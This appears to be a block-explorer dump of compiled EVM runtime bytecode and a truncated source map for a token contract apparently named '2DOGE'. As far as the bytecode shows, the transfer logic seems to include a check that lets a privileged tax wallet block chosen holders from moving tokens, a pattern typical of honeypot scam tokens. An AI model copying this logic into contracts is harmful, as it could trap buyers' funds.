7610648565b73ffffffffffffffffffffffffffffffffffffffff161461058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490611976565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f32444f4745000000000000000000000000000000000000000000000000000000815250905090565b5f6106b8338484610e8c565b6001905092915050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610727573d5f5f3e3d5ffd5b506001905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610787575f5ffd5b610790816112f1565b80156107a0575061079f6106c2565b5b156107dd577f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb32426040516107d491906117d3565b60405180910390a15b50565b3373ffffffffffffffffffffffffffffffffffffffff166107ff610648565b73ffffffffffffffffffffffffffffffffffffffff1614610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c90611976565b60405180910390fd5b600460149054906101000a900460ff161561086e575f5ffd5b61089c3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610cc9565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610907573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092b91906119a8565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610997573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bb91906119a8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016109f59291906119d3565b6020604051808303815f875af1158015610a11573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3591906119a8565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f610a7e306104d2565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f610aca610648565b426040518863ffffffff1660e01b8152600401610aec96959493929190611a3c565b60606040518083038185885af1158015610b08573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b2d9190611aaf565b50505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bcd929190611aff565b6020604051808303815f875af1158015610be9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c0d9190611b50565b506001600460146101000a81548160ff021916908315150217905550600160085f6101000a81548160ff0219169083151502179055505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e90611beb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c90611c79565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e7f91906117d3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611d07565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611d95565b60405180910390fd5b5f8111610faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa190611e23565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561103357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611042576110418361152e565b5b5f8190505f60075490508473ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff161480156110935750600460149054906101000a900460ff165b80156110eb57508373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156110f4578190505b611156836111488360065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115d590919063ffffffff16565b61129490919063ffffffff16565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111e78360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115d590919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128591906117d3565b60405180910390a35050505050565b5f828211156112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90611e8b565b60405180910390fd5b5f82846112e59190611ed6565b90508091505092915050565b5f5f600267ffffffffffffffff81111561130e5761130d611f09565b5b60405190808252806020026020018201604052801561133c5781602001602082028036833780820191505090505b50905030815f8151811061135357611352611f36565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113f7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061141b91906119a8565b8160018151811061142f5761142e611f36565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506114953060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610cc9565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b81526004016114f795949392919061201a565b5f604051808303815f87803b15801561150e575f5ffd5b505af1158015611520573d5f5f3e3d5ffd5b505050506001915050919050565b5f60055f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146115d2575f5ffd5b50565b5f5f82846115e39190612072565b905083811015611628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161f906120ef565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61167482611632565b61167e818561163c565b935061168e81856020860161164c565b6116978161165a565b840191505092915050565b5f6020820190508181035f8301526116ba818461166a565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116ef826116c6565b9050919050565b6116ff816116e5565b8114611709575f5ffd5b50565b5f8135905061171a816116f6565b92915050565b5f819050919050565b61173281611720565b811461173c575f5ffd5b50565b5f8135905061174d81611729565b92915050565b5f5f60408385031215611769576117686116c2565b5b5f6117768582860161170c565b92505060206117878582860161173f565b9150509250929050565b5f8115159050919050565b6117a581611791565b82525050565b5f6020820190506117be5f83018461179c565b92915050565b6117cd81611720565b82525050565b5f6020820190506117e65f8301846117c4565b92915050565b5f5f5f60608486031215611803576118026116c2565b5b5f6118108682870161170c565b93505060206118218682870161170c565b92505060406118328682870161173f565b9150509250925092565b5f60ff82169050919050565b6118518161183c565b82525050565b5f60208201905061186a5f830184611848565b92915050565b611879816116e5565b82525050565b5f6020820190506118925f830184611870565b92915050565b5f602082840312156118ad576118ac6116c2565b5b5f6118ba8482850161170c565b91505092915050565b5f602082840312156118d8576118d76116c2565b5b5f6118e58482850161173f565b91505092915050565b5f5f60408385031215611904576119036116c2565b5b5f6119118582860161170c565b92505060206119228582860161170c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61196060208361163c565b915061196b8261192c565b602082019050919050565b5f6020820190508181035f83015261198d81611954565b9050919050565b5f815190506119a2816116f6565b92915050565b5f602082840312156119bd576119bc6116c2565b5b5f6119ca84828501611994565b91505092915050565b5f6040820190506119e65f830185611870565b6119f36020830184611870565b9392505050565b5f819050919050565b5f819050919050565b5f611a26611a21611a1c846119fa565b611a03565b611720565b9050919050565b611a3681611a0c565b82525050565b5f60c082019050611a4f5f830189611870565b611a5c60208301886117c4565b611a696040830187611a2d565b611a766060830186611a2d565b611a836080830185611870565b611a9060a08301846117c4565b979650505050505050565b5f81519050611aa981611729565b92915050565b5f5f5f60608486031215611ac657611ac56116c2565b5b5f611ad386828701611a9b565b9350506020611ae486828701611a9b565b9250506040611af586828701611a9b565b9150509250925092565b5f604082019050611b125f830185611870565b611b1f60208301846117c4565b9392505050565b611b2f81611791565b8114611b39575f5ffd5b50565b5f81519050611b4a81611b26565b92915050565b5f60208284031215611b6557611b646116c2565b5b5f611b7284828501611b3c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611bd560248361163c565b9150611be082611b7b565b604082019050919050565b5f6020820190508181035f830152611c0281611bc9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c6360228361163c565b9150611c6e82611c09565b604082019050919050565b5f6020820190508181035f830152611c9081611c57565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611cf160258361163c565b9150611cfc82611c97565b604082019050919050565b5f6020820190508181035f830152611d1e81611ce5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611d7f60238361163c565b9150611d8a82611d25565b604082019050919050565b5f6020820190508181035f830152611dac81611d73565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611e0d60298361163c565b9150611e1882611db3565b604082019050919050565b5f6020820190508181035f830152611e3a81611e01565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f611e75601f8361163c565b9150611e8082611e41565b602082019050919050565b5f6020820190508181035f830152611ea281611e69565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ee082611720565b9150611eeb83611720565b9250828203905081811115611f0357611f02611ea9565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611f95816116e5565b82525050565b5f611fa68383611f8c565b60208301905092915050565b5f602082019050919050565b5f611fc882611f63565b611fd28185611f6d565b9350611fdd83611f7d565b805f5b8381101561200d578151611ff48882611f9b565b9750611fff83611fb2565b925050600181019050611fe0565b5085935050505092915050565b5f60a08201905061202d5f8301886117c4565b61203a6020830187611a2d565b818103604083015261204c8186611fbe565b905061205b6060830185611870565b61206860808301846117c4565b9695505050505050565b5f61207c82611720565b915061208783611720565b925082820190508082111561209f5761209e611ea9565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f6120d9601c8361163c565b91506120e4826120a5565b602082019050919050565b5f6020820190508181035f830152612106816120cd565b905091905056fea2646970667358221220ed326870c3f09a2016dcfcb7ba0203b60749b545556685cfbfd891e3ae67927564736f6c634300081c0033

Deployed Bytecode Sourcemap

2267:5089:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4057:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3901:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3474:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4651:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3715:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2535:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3356:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1815:140;;;;;;;;;;;;;:::i;:::-;;2175:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3806:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4148:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6583:135;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6321:219;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6726:627;;;:::i;:::-;;3573:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4057:85;4094:13;4128:5;;;;;;;;;;;;;;;;;4121:12;;4057:85;:::o;3901:150::-;3967:4;3984:37;3993:10;4005:7;4014:6;3984:8;:37::i;:::-;4039:4;4032:11;;3901:150;;;;:::o;3474:93::-;3518:7;3546:12;;3539:19;;3474:93;:::o;4651:256::-;4740:4;4757:36;4767:6;4775:9;4786:6;4757:9;:36::i;:::-;4804:73;4813:6;4821:10;4833:43;4869:6;4833:11;:19;4845:6;4833:19;;;;;;;;;;;;;;;:31;4853:10;4833:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4804:8;:73::i;:::-;4895:4;4888:11;;4651:256;;;;;:::o;3715:85::-;3756:5;3782:9;;;;;;;;;;;3775:16;;3715:85;:::o;2535:28::-;;;;;;;;;;;;;:::o;3356:112::-;3413:7;3441:9;:18;3451:7;3441:18;;;;;;;;;;;;;;;;3434:25;;3356:112;;;:::o;1815:140::-;2102:10;2091:21;;:7;:5;:7::i;:::-;:21;;;2083:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1914:1:::1;1877:40;;1898:6;;;;;;;;;;;1877:40;;;;;;;;;;;;1945:1;1928:6;;:19;;;;;;;;;;;;;;;;;;1815:140::o:0;2175:87::-;2221:7;2248:6;;;;;;;;;;;2241:13;;2175:87;:::o;3806:89::-;3845:13;3879:7;;;;;;;;;;;;;;;;;3872:14;;3806:89;:::o;4148:156::-;4217:4;4234:40;4244:10;4256:9;4267:6;4234:9;:40::i;:::-;4292:4;4285:11;;4148:156;;;;:::o;6583:135::-;6623:4;6639:17;;;;;;;;;;;:26;;:49;6666:21;6639:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6706:4;6699:11;;6583:135;:::o;6321:219::-;6394:17;;;;;;;;;;;6380:31;;:10;:31;;;6372:40;;;;;;6427:22;6443:5;6427:15;:22::i;:::-;:39;;;;;6453:13;:11;:13::i;:::-;6427:39;6423:110;;;6485:36;6505:15;6485:36;;;;;;:::i;:::-;;;;;;;;6423:110;6321:219;:::o;6726:627::-;2102:10;2091:21;;:7;:5;:7::i;:::-;:21;;;2083:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6798:11:::1;;;;;;;;;;;6797:12;6789:21;;;;;;6822:63;6839:4;6854:15;;;;;;;;;;;6872:12;;6822:8;:63::i;:::-;6896:12;6911:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6896:37;;6978:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6960:55;;;7024:4;7031;6960:76;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6944:13;;:92;;;;;;;;;;;;;;;;;;7047:15;7065:24;7083:4;7065:9;:24::i;:::-;7047:42;;7100:15;;;;;;;;;;;:31;;;7139:9;7158:4;7165:7;7174:1;7177;7180:7;:5;:7::i;:::-;7189:15;7100:105;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7223:13;;;;;;;;;;;7216:29;;;7254:15;;;;;;;;;;;7272:14;7216:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7312:4;7298:11;;:18;;;;;;;;;;;;;;;;;;7341:4;7327:11;;:18;;;;;;;;;;;;;;;;;;6778:575;;6726:627::o:0;3573:136::-;3645:7;3673:11;:18;3685:5;3673:18;;;;;;;;;;;;;;;:27;3692:7;3673:27;;;;;;;;;;;;;;;;3666:34;;3573:136;;;;:::o;4310:335::-;4420:1;4403:19;;:5;:19;;;4395:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4501:1;4482:21;;:7;:21;;;4474:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4583:6;4553:11;:18;4565:5;4553:18;;;;;;;;;;;;;;;:27;4572:7;4553:27;;;;;;;;;;;;;;;:36;;;;4621:7;4605:32;;4614:5;4605:32;;;4630:6;4605:32;;;;;;:::i;:::-;;;;;;;;4310:335;;;:::o;5044:769::-;5148:1;5132:18;;:4;:18;;;5124:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5225:1;5211:16;;:2;:16;;;5203:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5295:1;5286:6;:10;5278:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5365:13;;;;;;;;;;;5357:21;;:4;:21;;;;:46;;;;;5398:4;5382:21;;:4;:21;;;;5357:46;5353:99;;;5420:20;5435:4;5420:14;:20::i;:::-;5353:99;5462:11;5476:6;5462:20;;5493:17;5513:7;;5493:27;;5552:4;5535:21;;5543:4;5535:21;;;:36;;;;;5560:11;;;;;;;;;;;5535:36;:59;;;;;5592:2;5575:19;;:13;;;;;;;;;;;:19;;;5535:59;5531:110;;;5623:6;5611:18;;5531:110;5669:42;5704:6;5669:30;5689:9;5669;:15;5679:4;5669:15;;;;;;;;;;;;;;;;:19;;:30;;;;:::i;:::-;:34;;:42;;;;:::i;:::-;5651:9;:15;5661:4;5651:15;;;;;;;;;;;;;;;:60;;;;5738:25;5756:6;5738:9;:13;5748:2;5738:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;5722:9;:13;5732:2;5722:13;;;;;;;;;;;;;;;:41;;;;5794:2;5779:26;;5788:4;5779:26;;;5798:6;5779:26;;;;;;:::i;:::-;;;;;;;;5113:700;;5044:769;;;:::o;488:183::-;546:7;579:1;574;:6;;566:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;627:9;643:1;639;:5;;;;:::i;:::-;627:17;;662:1;655:8;;;488:183;;;;:::o;5821:492::-;5879:4;5896:21;5934:1;5920:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5896:40;;5965:4;5947;5952:1;5947:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;5991:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5981:4;5986:1;5981:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;6024:57;6041:4;6056:15;;;;;;;;;;;6074:6;6024:8;:57::i;:::-;6092:15;;;;;;;;;;;:66;;;6173:6;6194:1;6210:4;6237;6257:15;6092:191;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6301:4;6294:11;;;5821:492;;;:::o;4913:125::-;5028:1;4988:11;:30;5000:17;;;;;;;;;;;4988:30;;;;;;;;;;;;;;;:36;5019:4;4988:36;;;;;;;;;;;;;;;;:41;4980:50;;;;;;4913:125;:::o;302:180::-;360:7;380:9;396:1;392;:5;;;;:::i;:::-;380:17;;421:1;416;:6;;408:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;473:1;466:8;;;302:180;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5098:329;;;;:::o;5433:::-;5492:6;5541:2;5529:9;5520:7;5516:23;5512:32;5509:119;;;5547:79;;:::i;:::-;5509:119;5667:1;5692:53;5737:7;5728:6;5717:9;5713:22;5692:53;:::i;:::-;5682:63;;5638:117;5433:329;;;;:::o;5768:474::-;5836:6;5844;5893:2;5881:9;5872:7;5868:23;5864:32;5861:119;;;5899:79;;:::i;:::-;5861:119;6019:1;6044:53;6089:7;6080:6;6069:9;6065:22;6044:53;:::i;:::-;6034:63;;5990:117;6146:2;6172:53;6217:7;6208:6;6197:9;6193:22;6172:53;:::i;:::-;6162:63;;6117:118;5768:474;;;;;:::o;6248:182::-;6388:34;6384:1;6376:6;6372:14;6365:58;6248:182;:::o;6436:366::-;6578:3;6599:67;6663:2;6658:3;6599:67;:::i;:::-;6592:74;;6675:93;6764:3;6675:93;:::i;:::-;6793:2;6788:3;6784:12;6777:19;;6436:366;;;:::o;6808:419::-;6974:4;7012:2;7001:9;6997:18;6989:26;;7061:9;7055:4;7051:20;7047:1;7036:9;7032:17;7025:47;7089:131;7215:4;7089:131;:::i;:::-;7081:139;;6808:419;;;:::o;7233:143::-;7290:5;7321:6;7315:13;7306:22;;7337:33;7364:5;7337:33;:::i;:::-;7233:143;;;;:::o;7382:351::-;7452:6;7501:2;7489:9;7480:7;7476:23;7472:32;7469:119;;;7507:79;;:::i;:::-;7469:119;7627:1;7652:64;7708:7;7699:6;7688:9;7684:22;7652:64;:::i;:::-;7642:74;;7598:128;7382:351;;;;:::o;7739:332::-;7860:4;7898:2;7887:9;7883:18;7875:26;;7911:71;7979:1;7968:9;7964:17;7955:6;7911:71;:::i;:::-;7992:72;8060:2;8049:9;8045:18;8036:6;7992:72;:::i;:::-;7739:332;;;;;:::o;8077:85::-;8122:7;8151:5;8140:16;;8077:85;;;:::o;8168:60::-;8196:3;8217:5;8210:12;;8168:60;;;:::o;8234:158::-;8292:9;8325:61;8343:42;8352:32;8378:5;8352:32;:::i;:::-;8343:42;:::i;:::-;8325:61;:::i;:::-;8312:74;;8234:158;;;:::o;8398:147::-;8493:45;8532:5;8493:45;:::i;:::-;8488:3;8481:58;8398:147;;:::o;8551:807::-;8800:4;8838:3;8827:9;8823:19;8815:27;;8852:71;8920:1;8909:9;8905:17;8896:6;8852:71;:::i;:::-;8933:72;9001:2;8990:9;8986:18;8977:6;8933:72;:::i;:::-;9015:80;9091:2;9080:9;9076:18;9067:6;9015:80;:::i;:::-;9105;9181:2;9170:9;9166:18;9157:6;9105:80;:::i;:::-;9195:73;9263:3;9252:9;9248:19;9239:6;9195:73;:::i;:::-;9278;9346:3;9335:9;9331:19;9322:6;9278:73;:::i;:::-;8551:807;;;;;;;;;:::o;9364:143::-;9421:5;9452:6;9446:13;9437:22;;9468:33;9495:5;9468:33;:::i;:::-;9364:143;;;;:::o;9513:663::-;9601:6;9609;9617;9666:2;9654:9;9645:7;9641:23;9637:32;9634:119;;;9672:79;;:::i;:::-;9634:119;9792:1;9817:64;9873:7;9864:6;9853:9;9849:22;9817:64;:::i;:::-;9807:74;;9763:128;9930:2;9956:64;10012:7;10003:6;9992:9;9988:22;9956:64;:::i;:::-;9946:74;;9901:129;10069:2;10095:64;10151:7;10142: